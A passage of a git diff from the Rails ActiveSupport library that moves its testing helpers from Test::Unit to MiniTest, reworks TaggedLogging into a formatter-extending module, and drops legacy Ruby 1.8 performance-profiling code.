-require 'active_support/core_ext/rexml'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/file/path'
-require 'active_support/core_ext/module/method_names'
\ No newline at end of file
diff --git a/activesupport/lib/active_support/string_inquirer.rb b/activesupport/lib/active_support/string_inquirer.rb
index e6b1f39225..5f20bfa7bc 100644
--- a/activesupport/lib/active_support/string_inquirer.rb
+++ b/activesupport/lib/active_support/string_inquirer.rb
@@ -10,12 +10,18 @@ module ActiveSupport
   #   Rails.env.production?
   #
   class StringInquirer < String
-    def method_missing(method_name, *arguments)
-      if method_name.to_s[-1,1] == "?"
-        self == method_name.to_s[0..-2]
-      else
-        super
+    private
+
+      def respond_to_missing?(method_name, include_private = false)
+        method_name[-1] == '?'
+      end
+
+      def method_missing(method_name, *arguments)
+        if method_name[-1] == '?'
+          self == method_name[0..-2]
+        else
+          super
+        end
       end
-    end
   end
 end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index a59fc26d5d..9cd8ac36bc 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,63 +1,58 @@
 require 'active_support/core_ext/object/blank'
 require 'logger'
+require 'active_support/logger'
 
 module ActiveSupport
-  # Wraps any standard Logger class to provide tagging capabilities. Examples:
+  # Wraps any standard Logger object to provide tagging capabilities.
   #
-  #   Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
-  #   Logger.tagged("BCX") { Logger.info "Stuff" }                            # Logs "[BCX] Stuff"
-  #   Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
-  #   Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+  #   logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+  #   logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
+  #   logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
+  #   logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
   #
   # This is used by the default Rails.logger as configured by Railties to make it easy to stamp log lines
   # with subdomains, request ids, and anything else to aid debugging of multi-user production applications.
-  class TaggedLogging
-    def initialize(logger)
-      @logger = logger
-      @tags   = Hash.new { |h,k| h[k] = [] }
-    end
+  module TaggedLogging
+    module Formatter # :nodoc:
+      # This method is invoked when a log event occurs
+      def call(severity, timestamp, progname, msg)
+        super(severity, timestamp, progname, "#{tags_text} #{msg}".lstrip)
+      end
 
-    def tagged(*new_tags)
-      tags     = current_tags
-      new_tags = Array.wrap(new_tags).flatten.reject(&:blank?)
-      tags.concat new_tags
-      yield
-    ensure
-      new_tags.size.times { tags.pop }
-    end
+      def clear!
+        current_tags.clear
+      end
 
-    def add(severity, message = nil, progname = nil, &block)
-      @logger.add(severity, "#{tags_text}#{message}", progname, &block)
-    end
+      def current_tags
+        Thread.current[:activesupport_tagged_logging_tags] ||= []
+      end
 
-    %w( fatal error warn info debug unkown ).each do |severity|
-      eval <<-EOM, nil, __FILE__, __LINE__ + 1
-        def #{severity}(progname = nil, &block)
-          add(Logger::#{severity.upcase}, progname, &block)
+      private
+      def tags_text
+        tags = current_tags
+        if tags.any?
+          tags.collect { |tag| "[#{tag}]" }.join(' ')
         end
-      EOM
-    end
-
-    def flush(*args)
-      @tags.delete(Thread.current)
-      @logger.flush(*args) if @logger.respond_to?(:flush)
+      end
     end
 
-    def method_missing(method, *args)
-      @logger.send(method, *args)
+    def self.new(logger)
+      logger.formatter.extend Formatter
+      logger.extend(self)
     end
 
-    protected
-
-    def tags_text
-      tags = current_tags
-      if tags.any?
-        tags.collect { |tag| "[#{tag}]" }.join(" ") + " "
-      end
+    def tagged(*new_tags)
+      tags     = formatter.current_tags
+      new_tags = new_tags.flatten.reject(&:blank?)
+      tags.concat new_tags
+      yield self
+    ensure
+      tags.pop(new_tags.size)
     end
 
-    def current_tags
-      @tags[Thread.current]
+    def flush
+      formatter.clear!
+      super if defined?(super)
     end
   end
 end
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index 8d6c27e381..d2b8e602f9 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -1,34 +1,73 @@
-require 'test/unit/testcase'
+gem 'minitest' # make sure we get the gem, not stdlib
+require 'minitest/spec'
 require 'active_support/testing/setup_and_teardown'
 require 'active_support/testing/assertions'
 require 'active_support/testing/deprecation'
-require 'active_support/testing/declarative'
-require 'active_support/testing/pending'
 require 'active_support/testing/isolation'
-require 'active_support/testing/mochaing'
+require 'active_support/testing/mocha_module'
 require 'active_support/core_ext/kernel/reporting'
+require 'active_support/deprecation'
 
 module ActiveSupport
-  class TestCase < ::Test::Unit::TestCase
-    if defined? MiniTest
-      Assertion = MiniTest::Assertion
-      alias_method :method_name, :name if method_defined? :name
-      alias_method :method_name, :__name__ if method_defined? :__name__
-    else
-      Assertion = Test::Unit::AssertionFailedError
-
-      undef :default_test
+  class TestCase < ::MiniTest::Spec
+
+    include ActiveSupport::Testing::MochaModule
+
+    # Use AS::TestCase for the base class when describing a model
+    register_spec_type(self) do |desc|
+      Class === desc && desc < ActiveRecord::Model
     end
 
+    Assertion = MiniTest::Assertion
+    alias_method :method_name, :__name__
+
     $tags = {}
     def self.for_tag(tag)
       yield if $tags[tag]
     end
 
+    # FIXME: we have tests that depend on run order, we should fix that and
+    # remove this method.
+    def self.test_order # :nodoc:
+      :sorted
+    end
+
     include ActiveSupport::Testing::SetupAndTeardown
     include ActiveSupport::Testing::Assertions
     include ActiveSupport::Testing::Deprecation
-    include ActiveSupport::Testing::Pending
-    extend ActiveSupport::Testing::Declarative
+
+    def self.describe(text)
+      if block_given?
+        super
+      else
+        ActiveSupport::Deprecation.warn("`describe` without a block is deprecated, please switch to: `def self.name; #{text.inspect}; end`\n")
+
+        class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+          def self.name
+            "#{text}"
+          end
+        RUBY_EVAL
+      end
+    end
+
+    class << self
+      alias :test :it
+    end
+
+    # test/unit backwards compatibility methods
+    alias :assert_raise :assert_raises
+    alias :assert_not_nil :refute_nil
+    alias :assert_not_equal :refute_equal
+    alias :assert_no_match :refute_match
+    alias :assert_not_same :refute_same
+
+    # Fails if the block raises an exception.
+    #
+    #   assert_nothing_raised do
+    #     ...
+    #   end
+    def assert_nothing_raised(*args)
+      yield
+    end
   end
 end
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index f3629ada5b..ee1a647ed8 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -1,51 +1,51 @@
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/object/blank'
 
 module ActiveSupport
   module Testing
     module Assertions
-      # Test numeric difference between the return value of an expression as a result of what is evaluated
-      # in the yielded block.
+      # Test numeric difference between the return value of an expression as a
+      # result of what is evaluated in the yielded block.
       #
       #   assert_difference 'Article.count' do
-      #     post :create, :article => {...}
+      #     post :create, article: {...}
       #   end
       #
       # An arbitrary expression is passed in and evaluated.
       #
       #   assert_difference 'assigns(:article).comments(:reload).size' do
-      #     post :create, :comment => {...}
+      #     post :create, comment: {...}
       #   end
       #
-      # An arbitrary positive or negative difference can be specified. The default is +1.
+      # An arbitrary positive or negative difference can be specified.
+      # The default is <tt>1</tt>.
       #
       #   assert_difference 'Article.count', -1 do
-      #     post :delete, :id => ...
+      #     post :delete, id: ...
       #   end
       #
       # An array of expressions can also be passed in and evaluated.
       #
-      #   assert_difference [ 'Article.count', 'Post.count' ], +2 do
-      #     post :create, :article => {...}
+      #   assert_difference [ 'Article.count', 'Post.count' ], 2 do
+      #     post :create, article: {...}
       #   end
       #
       # A lambda or a list of lambdas can be passed in and evaluated:
       #
       #   assert_difference lambda { Article.count }, 2 do
-      #     post :create, :article => {...}
+      #     post :create, article: {...}
       #   end
       #
       #   assert_difference [->{ Article.count }, ->{ Post.count }], 2 do
-      #     post :create, :article => {...}
+      #     post :create, article: {...}
       #   end
       #
-      # A error message can be specified.
+      # An error message can be specified.
       #
-      #   assert_difference 'Article.count', -1, "An Article should be destroyed" do
-      #     post :delete, :id => ...
+      #   assert_difference 'Article.count', -1, 'An Article should be destroyed' do
+      #     post :delete, id: ...
       #   end
       def assert_difference(expression, difference = 1, message = nil, &block)
-        expressions = Array.wrap expression
+        expressions = Array(expression)
 
         exps = expressions.map { |e|
           e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
@@ -61,33 +61,43 @@ module ActiveSupport
         end
       end
 
-      # Assertion that the numeric result of evaluating an expression is not changed before and after
-      # invoking the passed in block.
+      # Assertion that the numeric result of evaluating an expression is not
+      # changed before and after invoking the passed in block.
       #
       #   assert_no_difference 'Article.count' do
-      #     post :create, :article => invalid_attributes
+      #     post :create, article: invalid_attributes
       #   end
       #
-      # A error message can be specified.
+      # An error message can be specified.
       #
-      #   assert_no_difference 'Article.count', "An Article should not be created" do
-      #     post :create, :article => invalid_attributes
+      #   assert_no_difference 'Article.count', 'An Article should not be created' do
+      #     post :create, article: invalid_attributes
       #   end
       def assert_no_difference(expression, message = nil, &block)
         assert_difference expression, 0, message, &block
       end
 
-      # Test if an expression is blank. Passes if object.blank? is true.
+      # Test if an expression is blank. Passes if <tt>object.blank?</tt> is +true+.
       #
-      #   assert_blank [] # => true
+      #   assert_blank []   # => true
+      #   assert_blank [[]] # => [[]] is not blank
+      #
+      # An error message can be specified.
+      #
+      #   assert_blank [], 'this should be blank'
       def assert_blank(object, message=nil)
         message ||= "#{object.inspect} is not blank"
         assert object.blank?, message
       end
 
-      # Test if an expression is not blank. Passes if object.present? is true.
+      # Test if an expression is not blank. Passes if <tt>object.present?</tt> is +true+.
+      #
+      #   assert_present({ data: 'x' }) # => true
+      #   assert_present({})            # => {} is blank
+      #
+      # An error message can be specified.
       #
-      #   assert_present {:data => 'x' } # => true
+      #   assert_present({ data: 'x' }, 'this should not be blank')
       def assert_present(object, message=nil)
         message ||= "#{object.inspect} is blank"
         assert object.present?, message
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
deleted file mode 100644
index 1c05d45888..0000000000
--- a/activesupport/lib/active_support/testing/declarative.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-module ActiveSupport
-  module Testing
-    module Declarative
-
-      def self.extended(klass)
-        klass.class_eval do
-
-          unless method_defined?(:describe)
-            def self.describe(text)
-              class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-                def self.name
-                  "#{text}"
-                end
-              RUBY_EVAL
-            end
-          end
-
-        end
-      end
-
-      unless defined?(Spec)
-        # test "verify something" do
-        #   ...
-        # end
-        def test(name, &block)
-          test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
-          defined = instance_method(test_name) rescue false
-          raise "#{test_name} is already defined in #{self}" if defined
-          if block_given?
-            define_method(test_name, &block)
-          else
-            define_method(test_name) do
-              flunk "No implementation provided for #{name}"
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index 0135185a47..a8342904dc 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -34,22 +34,3 @@ module ActiveSupport
     end
   end
 end
-
-begin
-  require 'test/unit/error'
-rescue LoadError
-  # Using miniunit, ignore.
-else
-  module Test
-    module Unit
-      class Error #:nodoc:
-        # Silence warnings when reporting test errors.
-        def message_with_silenced_deprecation
-          ActiveSupport::Deprecation.silence { message_without_silenced_deprecation }
-        end
-        alias_method :message_without_silenced_deprecation, :message
-        alias_method :message, :message_with_silenced_deprecation
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index 6b29ba4c10..27d444fd91 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -33,61 +33,66 @@ module ActiveSupport
     end
 
     module Isolation
-      def self.forking_env?
-        !ENV["NO_FORK"] && ((RbConfig::CONFIG['host_os'] !~ /mswin|mingw/) && (RUBY_PLATFORM !~ /java/))
-      end
+      require 'thread'
 
-      def self.included(base)
-        if defined?(::MiniTest) && base < ::MiniTest::Unit::TestCase
-          base.send :include, MiniTest
-        elsif defined?(Test::Unit)
-          base.send :include, TestUnit
-        end
-      end
+      class ParallelEach
+        include Enumerable
 
-      def _run_class_setup      # class setup method should only happen in parent
-        unless defined?(@@ran_class_setup) || ENV['ISOLATION_TEST']
-          self.class.setup if self.class.respond_to?(:setup)
-          @@ran_class_setup = true
-        end
-      end
+        # default to 2 cores
+        CORES = (ENV['TEST_CORES'] || 2).to_i
 
-      module TestUnit
-        def run(result)
-          _run_class_setup
+        def initialize list
+          @list  = list
+          @queue = SizedQueue.new CORES
+        end
 
-          yield(Test::Unit::TestCase::STARTED, name)
+        def grep pattern
+          self.class.new super
+        end
 
-          @_result = result
+        def each
+          threads = CORES.times.map {
+            Thread.new {
+              while job = @queue.pop
+                yield job
+              end
+            }
+          }
+          @list.each { |i| @queue << i }
+          CORES.times { @queue << nil }
+          threads.each(&:join)
+        end
+      end
 
-          serialized = run_in_isolation do |proxy|
-            begin
-              super(proxy) { }
-            rescue Exception => e
-              proxy.add_error(Test::Unit::Error.new(name, e))
-            end
+      def self.included(klass) #:nodoc:
+        klass.extend(Module.new {
+          def test_methods
+            ParallelEach.new super
           end
+        })
+      end
 
-          retval, proxy = Marshal.load(serialized)
-          proxy.__replay__(@_result)
+      def self.forking_env?
+        !ENV["NO_FORK"] && ((RbConfig::CONFIG['host_os'] !~ /mswin|mingw/) && (RUBY_PLATFORM !~ /java/))
+      end
 
-          yield(Test::Unit::TestCase::FINISHED, name)
-          retval
+      def _run_class_setup      # class setup method should only happen in parent
+        unless defined?(@@ran_class_setup) || ENV['ISOLATION_TEST']
+          self.class.setup if self.class.respond_to?(:setup)
+          @@ran_class_setup = true
         end
       end
 
-      module MiniTest
-        def run(runner)
-          _run_class_setup
+      def run(runner)
+        _run_class_setup
 
-          serialized = run_in_isolation do |isolated_runner|
-            super(isolated_runner)
-          end
-
-          retval, proxy = Marshal.load(serialized)
-          proxy.__replay__(runner)
-          retval
+        serialized = run_in_isolation do |isolated_runner|
+          super(isolated_runner)
         end
+
+        retval, proxy = Marshal.load(serialized)
+        proxy.__replay__(runner)
+        retval
       end
 
       module Forking
@@ -145,13 +150,3 @@ module ActiveSupport
     end
   end
 end
-
-# Only in subprocess for windows / jruby.
-if ENV['ISOLATION_TEST']
-  require "test/unit/collector/objectspace"
-  class Test::Unit::Collector::ObjectSpace
-    def include?(test)
-      super && test.method_name == ENV['ISOLATION_TEST']
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/mocha_module.rb b/activesupport/lib/active_support/testing/mocha_module.rb
new file mode 100644
index 0000000000..ed2942d23a
--- /dev/null
+++ b/activesupport/lib/active_support/testing/mocha_module.rb
@@ -0,0 +1,22 @@
+module ActiveSupport
+  module Testing
+    module MochaModule
+      begin
+        require 'mocha_standalone'
+        include Mocha::API
+
+        def before_setup
+          mocha_setup
+          super
+        end
+
+        def after_teardown
+          super
+          mocha_verify
+          mocha_teardown
+        end
+      rescue LoadError
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/mochaing.rb b/activesupport/lib/active_support/testing/mochaing.rb
deleted file mode 100644
index 4ad75a6681..0000000000
--- a/activesupport/lib/active_support/testing/mochaing.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-begin
-  silence_warnings { require 'mocha' }
-rescue LoadError
-  # Fake Mocha::ExpectationError so we can rescue it in #run. Bleh.
-  Object.const_set :Mocha, Module.new
-  Mocha.const_set :ExpectationError, Class.new(StandardError)
-end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/testing/pending.rb b/activesupport/lib/active_support/testing/pending.rb
deleted file mode 100644
index feac7bc347..0000000000
--- a/activesupport/lib/active_support/testing/pending.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# Some code from jeremymcanally's "pending"
-# https://github.com/jeremymcanally/pending/tree/master
-
-module ActiveSupport
-  module Testing
-    module Pending
-
-      unless defined?(Spec)
-
-        @@pending_cases = []
-        @@at_exit = false
-
-        def pending(description = "", &block)
-          if defined?(::MiniTest)
-            skip(description.blank? ? nil : description)
-          else
-            if description.is_a?(Symbol)
-              is_pending = $tags[description]
-              return block.call unless is_pending
-            end
-
-            if block_given?
-              failed = false
-
-              begin
-                block.call
-              rescue Exception
-                failed = true
-              end
-
-              flunk("<#{description}> did not fail.") unless failed
-            end
-
-            caller[0] =~ (/(.*):(.*):in `(.*)'/)
-            @@pending_cases << "#{$3} at #{$1}, line #{$2}"
-            print "P"
-
-            @@at_exit ||= begin
-              at_exit do
-                puts "\nPending Cases:"
-                @@pending_cases.each do |test_case|
-                  puts test_case
-                end
-              end
-            end
-          end
-        end
-      end
-
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/performance.rb b/activesupport/lib/active_support/testing/performance.rb
index dd23f8d82d..a6c57cd0ff 100644
--- a/activesupport/lib/active_support/testing/performance.rb
+++ b/activesupport/lib/active_support/testing/performance.rb
@@ -1,9 +1,9 @@
 require 'fileutils'
-require 'rails/version'
 require 'active_support/concern'
 require 'active_support/core_ext/class/delegating_attributes'
 require 'active_support/core_ext/string/inflections'
-require 'action_view/helpers/number_helper'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/number_helper'
 
 module ActiveSupport
   module Testing
@@ -13,12 +13,6 @@ module ActiveSupport
       included do
         superclass_delegating_accessor :profile_options
         self.profile_options = {}
-
-        if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
-          include ForMiniTest
-        else
-          include ForClassicTestUnit
-        end
       end
 
       # each implementation should define metrics and freeze the defaults
@@ -41,82 +35,38 @@ module ActiveSupport
         "#{self.class.name}##{method_name}"
       end
 
-      module ForMiniTest
-        def run(runner)
-          @runner = runner
+      def run(runner)
+        @runner = runner
 
-          run_warmup
-          if full_profile_options && metrics = full_profile_options[:metrics]
-            metrics.each do |metric_name|
-              if klass = Metrics[metric_name.to_sym]
-                run_profile(klass.new)
-              end
+        run_warmup
+        if full_profile_options && metrics = full_profile_options[:metrics]
+          metrics.each do |metric_name|
+            if klass = Metrics[metric_name.to_sym]
+              run_profile(klass.new)
             end
           end
-
-          return
         end
 
-        def run_test(metric, mode)
-          result = '.'
-          begin
-            run_callbacks :setup
-            setup
-            metric.send(mode) { __send__ method_name }
-          rescue Exception => e
-            result = @runner.puke(self.class, method_name, e)
-          ensure
-            begin
-              teardown
-              run_callbacks :teardown, :enumerator => :reverse_each
-            rescue Exception => e
-              result = @runner.puke(self.class, method_name, e)
-            end
-          end
-          result
-        end
+        return
       end
 
-      module ForClassicTestUnit
-        def run(result)
-          return if method_name =~ /^default_test$/
-
-          yield(self.class::STARTED, name)
-          @_result = result
-
-          run_warmup
-          if full_profile_options && metrics = full_profile_options[:metrics]
-            metrics.each do |metric_name|
-              if klass = Metrics[metric_name.to_sym]
-                run_profile(klass.new)
-                result.add_run
-              else
-                puts '%20s: unsupported' % metric_name
-              end
-            end
-          end
-
-          yield(self.class::FINISHED, name)
-        end
-
-        def run_test(metric, mode)
+      def run_test(metric, mode)
+        result = '.'
+        begin
           run_callbacks :setup
           setup
-          metric.send(mode) { __send__ @method_name }
-        rescue ::Test::Unit::AssertionFailedError => e
-        add_failure(e.message, e.backtrace)
-        rescue StandardError, ScriptError => e
-          add_error(e)
+          metric.send(mode) { __send__ method_name }
+        rescue Exception => e
+          result = @runner.puke(self.class, method_name, e)
         ensure
           begin
             teardown
-            run_callbacks :teardown, :enumerator => :reverse_each
-          rescue ::Test::Unit::AssertionFailedError => e
-            add_failure(e.message, e.backtrace)
-          rescue StandardError, ScriptError => e
-            add_error(e)
+            run_callbacks :teardown
+          rescue Exception => e
+            result = @runner.puke(self.class, method_name, e)
           end
         end
+        result
       end
 
       protected
@@ -176,7 +126,7 @@ module ActiveSupport
         def record; end
       end
 
-      class Benchmarker < Performer     
+      class Benchmarker < Performer
         def initialize(*args)
           super
           @supported = @metric.respond_to?('measure')
@@ -198,27 +148,20 @@ module ActiveSupport
         end
 
         def environment
-          unless defined? @env
-            app = "#{$1}.#{$2}" if File.directory?('.git') && `git branch -v` =~ /^\* (\S+)\s+(\S+)/
-
-            rails = Rails::VERSION::STRING
-            if File.directory?('vendor/rails/.git')
-              Dir.chdir('vendor/rails') do
-                rails += ".#{$1}.#{$2}" if `git branch -v` =~ /^\* (\S+)\s+(\S+)/
-              end
-            end
-
-            ruby = defined?(RUBY_ENGINE) ? RUBY_ENGINE : 'ruby'
-            ruby += "-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL}"
-
-            @env = [app, rails, ruby, RUBY_PLATFORM] * ','
-          end
-
-          @env
+          @env ||= [].tap do |env|
+            env << "#{$1}.#{$2}" if File.directory?('.git') && `git branch -v` =~ /^\* (\S+)\s+(\S+)/
+            env << rails_version if defined?(Rails::VERSION::STRING)
+            env << "#{RUBY_ENGINE}-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL}"
+            env << RUBY_PLATFORM
+          end.join(',')
         end
 
         protected
-          HEADER = 'measurement,created_at,app,rails,ruby,platform'
+          if defined?(Rails::VERSION::STRING)
+            HEADER = 'measurement,created_at,app,rails,ruby,platform'
+          else
+            HEADER = 'measurement,created_at,app,ruby,platform'
+          end
 
           def with_output_file
             fname = output_filename
@@ -236,6 +179,18 @@ module ActiveSupport
           def output_filename
             "#{super}.csv"
           end
+
+          def rails_version
+            "rails-#{Rails::VERSION::STRING}#{rails_branch}"
+          end
+
+          def rails_branch
+            if File.directory?('vendor/rails/.git')
+              Dir.chdir('vendor/rails') do
+                ".#{$1}.#{$2}" if `git branch -v` =~ /^\* (\S+)\s+(\S+)/
+              end
+            end
+          end
       end
 
       module Metrics
@@ -246,7 +201,7 @@ module ActiveSupport
         end
 
         class Base
-          include ActionView::Helpers::NumberHelper
+          include ActiveSupport::NumberHelper
 
           attr_reader :total
 
@@ -258,7 +213,7 @@ module ActiveSupport
             @name ||= self.class.name.demodulize.underscore
           end
 
-          def benchmark            
+          def benchmark
             with_gc_stats do
               before = measure
               yield
@@ -290,7 +245,7 @@ module ActiveSupport
 
         class Amount < Base
           def format(measurement)
-            number_with_delimiter(measurement.floor)
+            number_to_delimited(measurement.floor)
           end
         end
 
@@ -306,7 +261,6 @@ module ActiveSupport
   end
 end
 
-RUBY_ENGINE = 'ruby' unless defined?(RUBY_ENGINE) # mri 1.8
 case RUBY_ENGINE
   when 'ruby'   then require 'active_support/testing/performance/ruby'
   when 'rbx'    then require 'active_support/testing/performance/rubinius'
diff --git a/activesupport/lib/active_support/testing/performance/jruby.rb b/activesupport/lib/active_support/testing/performance/jruby.rb
index b347539f13..34e3f9f45f 100644
--- a/activesupport/lib/active_support/testing/performance/jruby.rb
+++ b/activesupport/lib/active_support/testing/performance/jruby.rb
@@ -42,7 +42,7 @@ module ActiveSupport
           klasses.each do |klass|
             fname = output_filename(klass)
             FileUtils.mkdir_p(File.dirname(fname))
-            file = File.open(fname, 'wb') do |file|
+            File.open(fname, 'wb') do |file|
               klass.new(@data).printProfile(file)
             end
           end
diff --git a/activesupport/lib/active_support/testing/performance/ruby.rb b/activesupport/lib/active_support/testing/performance/ruby.rb
index 7d6d047ef6..12aef0d7fe 100644
--- a/activesupport/lib/active_support/testing/performance/ruby.rb
+++ b/activesupport/lib/active_support/testing/performance/ruby.rb
@@ -18,6 +18,7 @@ module ActiveSupport
         end).freeze
 
       protected
+        remove_method :run_gc
         def run_gc
           GC.start
         end
@@ -28,6 +29,7 @@ module ActiveSupport
           @supported = @metric.measure_mode rescue false
         end
 
+        remove_method :run
         def run
           return unless @supported
 
@@ -36,9 +38,10 @@ module ActiveSupport
           RubyProf.pause
           full_profile_options[:runs].to_i.times { run_test(@metric, :profile) }
           @data = RubyProf.stop
-          @total = @data.threads.values.sum(0) { |method_infos| method_infos.max.total_time }
+          @total = @data.threads.sum(0) { |thread| thread.methods.max.total_time }
         end
 
+        remove_method :record
         def record
           return unless @supported
 
@@ -78,6 +81,7 @@ module ActiveSupport
             self.class::Mode
           end
 
+          remove_method :profile
           def profile
             RubyProf.resume
             yield
@@ -86,9 +90,13 @@ module ActiveSupport
           end
 
           protected
-            # overridden by each implementation
+            remove_method :with_gc_stats
             def with_gc_stats
+              GC::Profiler.enable
+              GC.start
               yield
+            ensure
+              GC::Profiler.disable
             end
         end
 
@@ -124,29 +132,42 @@ module ActiveSupport
 
         class Memory < DigitalInformationUnit
           Mode = RubyProf::MEMORY if RubyProf.const_defined?(:MEMORY)
+
+          # Ruby 1.9 + GCdata patch
+          if GC.respond_to?(:malloc_allocated_size)
+            def measure
+              GC.malloc_allocated_size
+            end
+          end
         end
 
         class Objects < Amount
           Mode = RubyProf::ALLOCATIONS if RubyProf.const_defined?(:ALLOCATIONS)
+
+          # Ruby 1.9 + GCdata patch
+          if GC.respond_to?(:malloc_allocations)
+            def measure
+              GC.malloc_allocations
+            end
+          end
         end
 
         class GcRuns < Amount
           Mode = RubyProf::GC_RUNS if RubyProf.const_defined?(:GC_RUNS)
+
+          def measure
+            GC.count
+          end
         end
 
         class GcTime < Time
           Mode = RubyProf::GC_TIME if RubyProf.const_defined?(:GC_TIME)
+
+          def measure
+            GC::Profiler.total_time
+          end
         end
       end
     end
   end
 end
-
-if RUBY_VERSION.between?('1.9.2', '2.0')
-  require 'active_support/testing/performance/ruby/yarv'
-elsif RUBY_VERSION.between?('1.8.6', '1.9')
-  require 'active_support/testing/performance/ruby/mri'
-else
-  $stderr.puts 'Update your ruby interpreter to be able to run benchmarks.'
-  exit
-end
diff --git a/activesupport/lib/active_support/testing/performance/ruby/mri.rb b/activesupport/lib/active_support/testing/performance/ruby/mri.rb
deleted file mode 100644
index 142279dd6e..0000000000
--- a/activesupport/lib/active_support/testing/performance/ruby/mri.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-module ActiveSupport
-  module Testing
-    module Performance
-      module Metrics
-        class Base
-          protected
-            # Ruby 1.8 + ruby-prof wrapper (enable/disable stats for Benchmarker)
-            if GC.respond_to?(:enable_stats)
-              def with_gc_stats
-                GC.enable_stats
-                GC.start
-                yield
-              ensure
-                GC.disable_stats
-              end
-            end
-        end
-
-        class Memory < DigitalInformationUnit
-          # Ruby 1.8 + ruby-prof wrapper
-          if RubyProf.respond_to?(:measure_memory)
-            def measure
-              RubyProf.measure_memory
-            end
-          end
-        end
-
-        class Objects < Amount
-          # Ruby 1.8 + ruby-prof wrapper
-          if RubyProf.respond_to?(:measure_allocations)
-            def measure
-              RubyProf.measure_allocations
-            end
-          end
-        end
-
-        class GcRuns < Amount
-          # Ruby 1.8 + ruby-prof wrapper
-          if RubyProf.respond_to?(:measure_gc_runs)
-            def measure
-              RubyProf.measure_gc_runs
-            end
-          end
-        end
-
-        class GcTime < Time
-          # Ruby 1.8 + ruby-prof wrapper
-          if RubyProf.respond_to?(:measure_gc_time)
-            def measure
-              RubyProf.measure_gc_time / 1000.0 / 1000.0
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/performance/ruby/yarv.rb b/activesupport/lib/active_support/testing/performance/ruby/yarv.rb
deleted file mode 100644
index 7873262331..0000000000
--- a/activesupport/lib/active_support/testing/performance/ruby/yarv.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-module ActiveSupport
-  module Testing
-    module Performance
-      module Metrics
-        class Base
-          protected
-            # Ruby 1.9 with GC::Profiler
-            if defined?(GC::Profiler)
-              def with_gc_stats
-                GC::Profiler.enable
-                GC.start
-                yield
-              ensure
-                GC::Profiler.disable
-              end
-            end
-        end
-
-        class Memory < DigitalInformationUnit
-          # Ruby 1.9 + GCdata patch
-          if GC.respond_to?(:malloc_allocated_size)
-            def measure
-              GC.malloc_allocated_size
-            end
-          end
-        end
-
-        class Objects < Amount
-          # Ruby 1.9 + GCdata patch
-          if GC.respond_to?(:malloc_allocations)
-            def measure
-              GC.malloc_allocations
-            end
-          end
-        end
-
-        class GcRuns < Amount
-          # Ruby 1.9
-          if GC.respond_to?(:count)
-            def measure
-              GC.count
-            end
-          end
-        end
-
-        class GcTime < Time
-          # Ruby 1.9 with GC::Profiler
-          if defined?(GC::Profiler) && GC::Profiler.respond_to?(:total_time)
-            def measure
-              GC::Profiler.total_time
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
index 22e41fa905..a65148cf1f 100644
--- a/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -9,12 +9,6 @@ module ActiveSupport
       included do
         include ActiveSupport::Callbacks
         define_callbacks :setup, :teardown
-
-        if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
-          include ForMiniTest
-        else
-          include ForClassicTestUnit
-        end
       end
 
       module ClassMethods
@@ -27,85 +21,15 @@ module ActiveSupport
         end
       end
 
-      module ForMiniTest
-        def run(runner)
-          result = '.'
-          begin
-            run_callbacks :setup do
-              result = super
-            end
-          rescue Exception => e
-            result = runner.puke(self.class, method_name, e)
-          ensure
-            begin
-              run_callbacks :teardown
-            rescue Exception => e
